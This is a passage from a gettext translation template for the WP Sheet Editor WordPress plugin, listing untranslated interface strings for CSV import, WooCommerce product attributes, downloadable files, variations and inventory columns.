are up to date." msgstr "" #: universal-sheet/views/import-modal.php:13 #: universal-sheet/views/import-modal.php:24 msgid "Import csv" msgstr "" #: universal-sheet/views/import-modal.php:26 msgid "Source" msgstr "" #: universal-sheet/views/import-modal.php:38 msgid "CSV file" msgstr "" #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:45 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:61 #: universal-sheet/views/import-modal.php:99 #: universal-sheet/views/import-modal.php:168 msgid "Next" msgstr "" #: universal-sheet/views/import-modal.php:48 msgid "Copy and Paste into the spreadsheet below" msgstr "" #: universal-sheet/views/import-modal.php:54 msgid "CSV file location" msgstr "" #: universal-sheet/views/import-modal.php:54 msgid "You must enter a file name in this field (not full path) and upload the file to the folder %s" msgstr "" #: universal-sheet/views/import-modal.php:65 #: universal-sheet/views/import-modal.php:177 msgid "Show advanced options" msgstr "" #: universal-sheet/views/import-modal.php:68 msgid "Separator" msgstr "" #: universal-sheet/views/import-modal.php:73 msgid "Tip. You can use the \"export\" tool to download a CSV and see the available columns and format.
                  You can read our documentation here." msgstr "" #: universal-sheet/views/import-modal.php:79 msgid "Select columns to import" msgstr "" #: universal-sheet/views/import-modal.php:80 msgid "Important. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix it" msgstr "" #: universal-sheet/views/import-modal.php:81 msgid "We automatically detected all the columns." msgstr "" #: universal-sheet/views/import-modal.php:81 msgid "Import all the columns" msgstr "" #: universal-sheet/views/import-modal.php:81 msgid "or" msgstr "" #: universal-sheet/views/import-modal.php:81 msgid "Select individual columns to import" msgstr "" #: universal-sheet/views/import-modal.php:83 msgid "Tip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modified" msgstr "" #: universal-sheet/views/import-modal.php:85 msgid "Unselect all columns" msgstr "" #: universal-sheet/views/import-modal.php:86 msgid "CSV Column" msgstr "" #: universal-sheet/views/import-modal.php:86 msgid "WordPress field" msgstr "" #: universal-sheet/views/import-modal.php:88 msgid "Example: " msgstr "" #: universal-sheet/views/import-modal.php:97 msgid "Remember this column mapping configuration?" msgstr "" #: universal-sheet/views/import-modal.php:98 #: universal-sheet/views/import-modal.php:167 #: universal-sheet/views/import-modal.php:202 msgid "Previous" msgstr "" #: universal-sheet/views/import-modal.php:102 msgid "Do you want to update or create items?" msgstr "" #: universal-sheet/views/import-modal.php:105 msgid "Create new items and update existing items" msgstr "" #: universal-sheet/views/import-modal.php:106 msgid "Import all rows as new" msgstr "" #: universal-sheet/views/import-modal.php:107 msgid "Only create new items, ignore existing items" msgstr "" #: universal-sheet/views/import-modal.php:108 msgid "Update existing items, ignore new items" msgstr "" #: universal-sheet/views/import-modal.php:111 msgid "How do we find existing items to update?" msgstr "" #: universal-sheet/views/import-modal.php:115 msgid "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID." msgstr "" #: universal-sheet/views/import-modal.php:117 msgid "You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them." msgstr "" #: universal-sheet/views/import-modal.php:119 msgid "CSV Field" msgstr "" #: universal-sheet/views/import-modal.php:125 msgid "WordPress Field" msgstr "" #: universal-sheet/views/import-modal.php:154 msgid "Field 2: CSV Field" msgstr "" #: universal-sheet/views/import-modal.php:160 msgid "Field 2: WordPress Field" msgstr "" #: universal-sheet/views/import-modal.php:171 msgid "Final step" msgstr "" #: universal-sheet/views/import-modal.php:172 msgid "1. Are we reading the file properly? Here is a preview of the first 5 rows from the file." msgstr "" #: universal-sheet/views/import-modal.php:174 msgid "2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly." msgstr "" #: universal-sheet/views/import-modal.php:180 msgid "Number of rows to process per batch:" msgstr "" #: universal-sheet/views/import-modal.php:180 msgid "Leave empty to use the global settings." msgstr "" #: universal-sheet/views/import-modal.php:184 msgid "Start from row number:" msgstr "" #: universal-sheet/views/import-modal.php:184 msgid "If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off." msgstr "" #: universal-sheet/views/import-modal.php:188 msgid "Decode quotes?" msgstr "" #: universal-sheet/views/import-modal.php:191 msgid "Auto retry failed batches?" msgstr "" #: universal-sheet/views/import-modal.php:191 msgid "We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows." msgstr "" #: universal-sheet/views/import-modal.php:195 msgid "Set post status to \"pending\" if featured image saving failed?" msgstr "" #: universal-sheet/views/import-modal.php:195 msgid "This option works only if you are importing the featured image column and saving the featured image failed." msgstr "" #: universal-sheet/views/import-modal.php:214 msgid "The preview is fine, start import" msgstr "" #: universal-sheet/views/import-modal.php:215 msgid "Cancel import" msgstr "" #: universal-sheet/views/import-modal.php:218 msgid "Importing" msgstr "" #: universal-sheet/views/import-modal.php:226 msgid "View log" msgstr "" #: woocommerce/inc/attributes.php:69 #: woocommerce/inc/attributes.php:715 msgid "Product attributes" msgstr "" #: woocommerce/inc/attributes.php:266 msgid "Change attribute settings" msgstr "" #: woocommerce/inc/attributes.php:274 msgid "What setting do you want to change?" msgstr "" #: woocommerce/inc/attributes.php:276 msgid "Is Visible?" msgstr "" #: woocommerce/inc/attributes.php:276 msgid "Used for Variations?" msgstr "" #: woocommerce/inc/attributes.php:279 msgid "New value" msgstr "" #: woocommerce/inc/attributes.php:284 msgid "What attribute do you want to edit?" msgstr "" #: woocommerce/inc/attributes.php:292 msgid "Replace a default attribute term" msgstr "" #: woocommerce/inc/attributes.php:300 msgid "Enter the attribute name" msgstr "" #: woocommerce/inc/attributes.php:301 msgid "If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute." msgstr "" #: woocommerce/inc/attributes.php:305 msgid "Replace this term" msgstr "" #: woocommerce/inc/attributes.php:307 msgid "Enter the term name or slug." msgstr "" #: woocommerce/inc/attributes.php:310 msgid "With this term" msgstr "" #: woocommerce/inc/attributes.php:312 msgid "Leave this empty if you want to unset the term." msgstr "" #: woocommerce/inc/attributes.php:671 msgid "Custom attribute: %s" msgstr "" #: woocommerce/inc/attributes.php:684 msgid "Enter multiple attributes separated by |" msgstr "" #: woocommerce/inc/attributes.php:729 #: woocommerce/inc/attributes.php:731 msgid "Edit attributes" msgstr "" #: woocommerce/inc/attributes.php:732 msgid "Note: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved." msgstr "" #: woocommerce/inc/attributes.php:779 msgid "Position" msgstr "" #: woocommerce/inc/attributes.php:779 msgid "Is visible?" msgstr "" #: woocommerce/inc/attributes.php:779 msgid "Used for variation?" msgstr "" #: woocommerce/inc/downloadable.php:110 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:669 msgid "Downloadable" msgstr "" #: woocommerce/inc/downloadable.php:132 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:803 msgid "Download limit" msgstr "" #: woocommerce/inc/downloadable.php:148 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:815 msgid "Download expiry" msgstr "" #: woocommerce/inc/downloadable.php:164 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:827 msgid "Download type" msgstr "" #: woocommerce/inc/downloadable.php:171 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:831 msgid "Standard Product" msgstr "" #: woocommerce/inc/downloadable.php:172 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:832 msgid "Application/Software" msgstr "" #: woocommerce/inc/downloadable.php:173 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:833 msgid "Music" msgstr "" #: woocommerce/inc/downloadable.php:186 msgid "Download files : names" msgstr "" #: woocommerce/inc/downloadable.php:194 msgid "This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commas" msgstr "" #: woocommerce/inc/downloadable.php:206 msgid "Download files : URLs" msgstr "" #: woocommerce/inc/downloadable.php:213 msgid "Enter multiple URLs separated by commas" msgstr "" #: woocommerce/inc/downloadable.php:229 #: woocommerce/inc/downloadable.php:233 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:846 msgid "Download files" msgstr "" #: woocommerce/inc/downloadable.php:231 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:844 msgid "Edit files" msgstr "" #: woocommerce/inc/downloadable.php:234 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:847 msgid "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" #: woocommerce/inc/downloadable.php:234 #: woocommerce/views/spreadsheet-create-variations-modal.php:21 #: woocommerce/views/spreadsheet-create-variations-modal.php:48 #: woocommerce/views/spreadsheet-create-variations-modal.php:89 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:847 msgid "Select product..." msgstr "" #: woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:870 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:871 msgid "File (url or path)" msgstr "" #: woocommerce/inc/downloadable.php:289 msgid "We will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma." msgstr "" #: woocommerce/inc/downloadable.php:293 msgid "We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma." msgstr "" #: woocommerce/inc/downloadable.php:371 #: woocommerce/inc/variations.php:406 #: woocommerce/inc/variations.php:1419 msgid "Please select a product." msgstr "" #: woocommerce/inc/downloadable.php:401 msgid "Files saved." msgstr "" #: woocommerce/inc/downloadable.php:404 msgid "The files could not be saved." msgstr "" #: woocommerce/inc/formatting.php:57 msgid "The \"Regular price\" column is hidden now. Please enable it in the columns manager before running this bulk edit." msgstr "" #: woocommerce/inc/import-export.php:97 #: woocommerce/woocommerce.php:720 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:500 msgid "Type" msgstr "" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:98 #: woocommerce/inc/import-export.php:196 #: woocommerce/woocommerce.php:412 msgid "Attribute %d name" msgstr "" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:99 #: woocommerce/inc/import-export.php:197 #: woocommerce/woocommerce.php:414 msgid "Attribute %d value(s)" msgstr "" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:100 #: woocommerce/inc/import-export.php:198 #: woocommerce/woocommerce.php:416 msgid "Attribute %d visible" msgstr "" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:101 #: woocommerce/inc/import-export.php:199 #: woocommerce/woocommerce.php:418 msgid "Attribute %d global" msgstr "" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:200 #: woocommerce/woocommerce.php:420 msgid "Attribute %d default" msgstr "" #. translators: %d: Download number #: woocommerce/inc/import-export.php:203 #: woocommerce/woocommerce.php:422 msgid "Download %d name" msgstr "" #: woocommerce/inc/import-export.php:204 msgid "Download %d ID" msgstr "" #. translators: %d: Download number #: woocommerce/inc/import-export.php:205 #: woocommerce/woocommerce.php:424 msgid "Download %d URL" msgstr "" #: woocommerce/inc/import-export.php:319 msgid "Skip broken images?" msgstr "" #: woocommerce/inc/import-export.php:319 msgid "By the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is broken" msgstr "" #: woocommerce/inc/import-export.php:326 msgid "Downloads" msgstr "" #: woocommerce/inc/import-export.php:327 msgid "Attributes" msgstr "" #: woocommerce/inc/import-export.php:458 msgid "Here is a sample CSV containing all types of products." msgstr "" #: woocommerce/inc/import-export.php:634 msgid "One variation row has a parent product that does not exist. The \"parent\" column contains the %1$s: %2$s. Please correct it and start a new import" msgstr "" #: woocommerce/inc/import-export.php:829 msgid "Error: We weren't able to export data for product ID %1$d because WooCommerce didn't recognize the ID, please make sure this product ID has a valid product type and status. Row: %2$s" msgstr "" #: woocommerce/inc/variations.php:30 #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:75 #: wp-sheet-editor/dev/inc/api/editor.php:337 msgid "Create variations" msgstr "" #: woocommerce/inc/variations.php:32 msgid "Create and copy variations for variable products." msgstr "" #: woocommerce/inc/variations.php:40 msgid "Display variations" msgstr "" #: woocommerce/inc/variations.php:49 msgid "Display all the variations" msgstr "" #: woocommerce/inc/variations.php:59 msgid "Display the variations of selected products" msgstr "" #: woocommerce/inc/variations.php:69 msgid "Only display the selected products with variations" msgstr "" #: woocommerce/inc/variations.php:403 #: wp-sheet-editor/dev/inc/ajax.php:86 msgid "You dont have enough permissions to load rows." msgstr "" #: woocommerce/inc/variations.php:463 msgid "Edit only parent products" msgstr "" #: woocommerce/inc/variations.php:464 msgid "Edit only variations" msgstr "" #: woocommerce/inc/variations.php:511 msgid "Allow to edit this column on variation rows?" msgstr "" #: woocommerce/inc/variations.php:512 msgid "We automatically allow columns for variations if at least one variation is using that field." msgstr "" #: woocommerce/inc/variations.php:561 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:891 msgid "Variation description" msgstr "" #: woocommerce/inc/variations.php:572 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:909 msgid "Variation enabled?" msgstr "" #: woocommerce/inc/variations.php:589 #: woocommerce/inc/variations.php:591 #: woocommerce/inc/variations.php:593 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:928 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:930 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:932 msgid "Default attributes" msgstr "" #: woocommerce/inc/variations.php:594 msgid "Attributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved." msgstr "" #: woocommerce/inc/variations.php:1037 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:138 msgid "Variation: %s" msgstr "" #: woocommerce/inc/variations.php:1192 #: woocommerce/inc/variations.php:1362 msgid "Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins." msgstr "" #: woocommerce/inc/variations.php:1207 msgid "The source product doesn't have variations." msgstr "" #: woocommerce/inc/variations.php:1358 #: woocommerce/inc/variations.php:1385 #: wp-sheet-editor/dev/inc/ajax.php:208 #: wp-sheet-editor/dev/inc/ajax.php:229 msgid "Request not allowed. Try again later." msgstr "" #: woocommerce/inc/variations.php:1369 msgid "We don't have variations to copy." msgstr "" #: woocommerce/inc/variations.php:1374 msgid "{total_created} of {total} variations created." msgstr "" #: woocommerce/inc/variations.php:1475 #: woocommerce/inc/variations.php:1576 msgid "%s variations created." msgstr "" #: woocommerce/inc/variations.php:1487 msgid "Target products not found." msgstr "" #: woocommerce/inc/variations.php:1592 msgid "The option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" #: woocommerce/inc/variations.php:1596 msgid "User not allowed" msgstr "" #: woocommerce/inc/variations.php:1600 msgid "Data missing, try again later." msgstr "" #: woocommerce/inc/variations.php:1617 msgid "Wrong product type. Make sure it is a variable product." msgstr "" #: woocommerce/inc/variations.php:1732 msgid "Please select a source product." msgstr "" #: woocommerce/inc/variations.php:1910 msgid "Error on row ID: %d - %s" msgstr "" #: woocommerce/inc/variations.php:1917 msgid "Please correct the error and save again." msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:8 msgid "Variations Manager" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:11 #: woocommerce/views/spreadsheet-create-variations-modal.php:15 msgid "Copy variations" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:16 #: woocommerce/views/spreadsheet-create-variations-modal.php:76 msgid "Tutorial" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:20 msgid "Copy variations and attributes from this product:" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "I don't want to copy all the variations" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product." msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:31 msgid "Which variations do you want to copy?" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "The variations are for these products: " msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "Copy the variations into these products." msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 msgid "Select individual products" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #: woocommerce/views/spreadsheet-create-variations-modal.php:84 msgid "Select all the products from a search" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:44 msgid "All the products in the store" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "I understand it will update the products from my search." msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author Mark" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:53 msgid "Show advanced options " msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "Use prices from simple product (parent) on the variations" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations." msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "Only copy new variations" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "The existing variations in the target products will not be edited nor overwritten." msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Do not copy the variation images?" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Enable this option if you want to copy all the variation data, except the variation image." msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:67 msgid "Warning: Please make a backup before copying variations in case you want to undo the changes later." msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:85 msgid "All the variable products" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:96 msgid "Create variations for every combination of attributes?" msgstr "" #: woocommerce/views/spreadsheet-create-variations-modal.php:99 msgid "Create this number of variations" msgstr "" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "Search on variations?" msgstr "" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "All the parameters will be used to search on variations instead of the main products." msgstr "" #: woocommerce/views/variation-metabox-shortcut.php:10 msgid "WP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet" msgstr "" #: woocommerce/woocommerce.php:181 msgid "Remove duplicates by sku (delete the latest)" msgstr "" #: woocommerce/woocommerce.php:189 msgid "Remove duplicates by sku (delete the oldest)" msgstr "" #: woocommerce/woocommerce.php:213 msgid "Copy regular price and decrease number" msgstr "" #: woocommerce/woocommerce.php:230 msgid "Copy regular price and decrease by percentage" msgstr "" #: woocommerce/woocommerce.php:287 msgid "Copy variations faster: Number of variations to copy per batch" msgstr "" #: woocommerce/woocommerce.php:288 msgid "Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slower" msgstr "" #: woocommerce/woocommerce.php:293 msgid "WooCommerce products" msgstr "" #: woocommerce/woocommerce.php:298 msgid "Disable product inventory stats?" msgstr "" #: woocommerce/woocommerce.php:299 msgid "The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows." msgstr "" #: woocommerce/woocommerce.php:305 msgid "Use separate columns for images during export and import?" msgstr "" #: woocommerce/woocommerce.php:306 msgid "By default, we export and import one column named \"Images\" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery images" msgstr "" #: woocommerce/woocommerce.php:312 msgid "Disable the automatic activation of \"used for variations\" for attributes on variable products?" msgstr "" #: woocommerce/woocommerce.php:313 msgid "By default, if the product is variable, we activate \"used for variations\" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option." msgstr "" #: woocommerce/woocommerce.php:319 msgid "Disable the automatic activation of \"is visible\" for attributes on products?" msgstr "" #: woocommerce/woocommerce.php:320 msgid "By default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option." msgstr "" #: woocommerce/woocommerce.php:326 msgid "Product attributes not visible" msgstr "" #: woocommerce/woocommerce.php:327 msgid "The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" #: woocommerce/woocommerce.php:332 msgid "Product attributes not used for variations" msgstr "" #: woocommerce/woocommerce.php:333 msgid "The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" #: woocommerce/woocommerce.php:338 msgid "Maximum number of variations per combination of attributes" msgstr "" #: woocommerce/woocommerce.php:339 msgid "The \"Create variations\" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations." msgstr "" #: woocommerce/woocommerce.php:344 msgid "Custom attribute names" msgstr "" #: woocommerce/woocommerce.php:345 msgid "We will create columns for these custom attributes." msgstr "" #: woocommerce/woocommerce.php:350 msgid "Allow to see the variation URL slug?" msgstr "" #: woocommerce/woocommerce.php:351 msgid "Variations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation." msgstr "" #: woocommerce/woocommerce.php:357 msgid "Update the lookup table and run the WC Webhooks always?" msgstr "" #: woocommerce/woocommerce.php:358 msgid "By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC." msgstr "" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:412 #: woocommerce/woocommerce.php:431 msgid "Attribute name" msgstr "" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:414 #: woocommerce/woocommerce.php:433 msgid "Attribute value(s)" msgstr "" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:416 #: woocommerce/woocommerce.php:435 msgid "Attribute visibility" msgstr "" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:418 #: woocommerce/woocommerce.php:437 msgid "Is a global attribute?" msgstr "" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:420 #: woocommerce/woocommerce.php:439 msgid "Default attribute" msgstr "" #. translators: %d: Download number #: woocommerce/woocommerce.php:422 #: woocommerce/woocommerce.php:441 msgid "Download name" msgstr "" #. translators: %d: Download number #: woocommerce/woocommerce.php:424 #: woocommerce/woocommerce.php:443 msgid "Download URL" msgstr "" #. translators: %d: Meta number #: woocommerce/woocommerce.php:426 msgid "Meta: %s" msgstr "" #. translators: %d: Meta number #: woocommerce/woocommerce.php:426 #: woocommerce/woocommerce.php:445 msgid "Import as meta data" msgstr "" #: woocommerce/woocommerce.php:427 #: wp-sheet-editor/dev/inc/ajax.php:389 msgid "Tags" msgstr "" #: woocommerce/woocommerce.php:427 #: woocommerce/woocommerce.php:446 msgid "Tags (comma separated)" msgstr "" #: woocommerce/woocommerce.php:529 msgid "Inventory" msgstr "" #: woocommerce/woocommerce.php:595 msgid "We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?" msgstr "" #: woocommerce/woocommerce.php:596 msgid "We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?" msgstr "" #: woocommerce/woocommerce.php:644 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:463 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:464 msgid "Short description" msgstr "" #: woocommerce/woocommerce.php:648 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:468 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:469 msgid "Enable reviews" msgstr "" #: woocommerce/woocommerce.php:670 #: wp-sheet-editor/dev/inc/api/helpers.php:541 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:978 msgid "..." msgstr "" #: woocommerce/woocommerce.php:701 msgid "Vendor" msgstr "" #: woocommerce/woocommerce.php:741 msgid "Product gallery" msgstr "" #: woocommerce/woocommerce.php:756 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:511 msgid "SKU" msgstr "" #: woocommerce/woocommerce.php:769 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "" #: woocommerce/woocommerce.php:784 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "" #: woocommerce/woocommerce.php:797 msgid "Sale start date" msgstr "" #: woocommerce/woocommerce.php:824 msgid "Sale end date" msgstr "" #: woocommerce/woocommerce.php:850 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:596 msgid "Manage stock" msgstr "" #: woocommerce/woocommerce.php:870 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:614 msgid "Stock status" msgstr "" #: woocommerce/woocommerce.php:887 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:632 msgid "Stock" msgstr "" #: woocommerce/woocommerce.php:900 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:549 msgid "Weight" msgstr "" #: woocommerce/woocommerce.php:911 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:561 msgid "Width" msgstr "" #: woocommerce/woocommerce.php:922 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:573 msgid "Height" msgstr "" #: woocommerce/woocommerce.php:933 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:585 msgid "Length" msgstr "" #: woocommerce/woocommerce.php:943 msgid "Cross-sells" msgstr "" #: woocommerce/woocommerce.php:950 #: woocommerce/woocommerce.php:967 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "" #: woocommerce/woocommerce.php:960 msgid "Upsells" msgstr "" #: woocommerce/woocommerce.php:979 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:644 msgid "Visibility" msgstr "" #: woocommerce/woocommerce.php:995 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:686 msgid "Virtual" msgstr "" #: woocommerce/woocommerce.php:1014 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:726 msgid "Sold individually" msgstr "" #: woocommerce/woocommerce.php:1031 msgid "Is featured?" msgstr "" #: woocommerce/woocommerce.php:1049 msgid "Backorders allowed?" msgstr "" #: woocommerce/woocommerce.php:1055 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Do not allow" msgstr "" #: woocommerce/woocommerce.php:1056 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:765 msgid "Allow, but notify customer" msgstr "" #: woocommerce/woocommerce.php:1057 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:766 msgid "Allow" msgstr "" #: woocommerce/woocommerce.php:1070 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:778 msgid "Purchase note" msgstr "" #: woocommerce/woocommerce.php:1082 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:791 msgid "Shipping class" msgstr "" #: woocommerce/woocommerce.php:1097 msgid "Average rating" msgstr "" #: woocommerce/woocommerce.php:1107 msgid "Review count" msgstr "" #: woocommerce/woocommerce.php:1117 msgid "Total sales" msgstr "" #: wp-sheet-editor/dev/inc/ajax.php:40 msgid "Rows deleted successfully" msgstr "" #: wp-sheet-editor/dev/inc/ajax.php:133 #: wp-sheet-editor/dev/inc/ajax.php:271 #: wp-sheet-editor/dev/inc/ajax.php:275 msgid "You dont have enough permissions to save changes." msgstr "" #: wp-sheet-editor/dev/inc/ajax.php:158 msgid "Changes saved successfully" msgstr "" #: wp-sheet-editor/dev/inc/ajax.php:173 msgid "You dont have enough permissions to create new rows." msgstr "" #: wp-sheet-editor/dev/inc/ajax.php:249 msgid "No items found." msgstr "" #: wp-sheet-editor/dev/inc/ajax.php:300 msgid "Saved: %s" msgstr "" #: wp-sheet-editor/dev/inc/ajax.php:319 #: wp-sheet-editor/dev/inc/ajax.php:344 msgid "You dont have enough permissions to search taxonomy terms." msgstr "" #: wp-sheet-editor/dev/inc/ajax.php:367 msgid "No taxonomies found." msgstr "" #: wp-sheet-editor/dev/inc/ajax.php:417 msgid "You dont have enough permissions to perform this action." msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:119 msgid "Open in a Spreadsheet" msgstr "" #: wp-sheet-editor/dev/inc/api/bootstrap.php:144 #: wp-sheet-editor/dev/inc/api/columns.php:320 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid 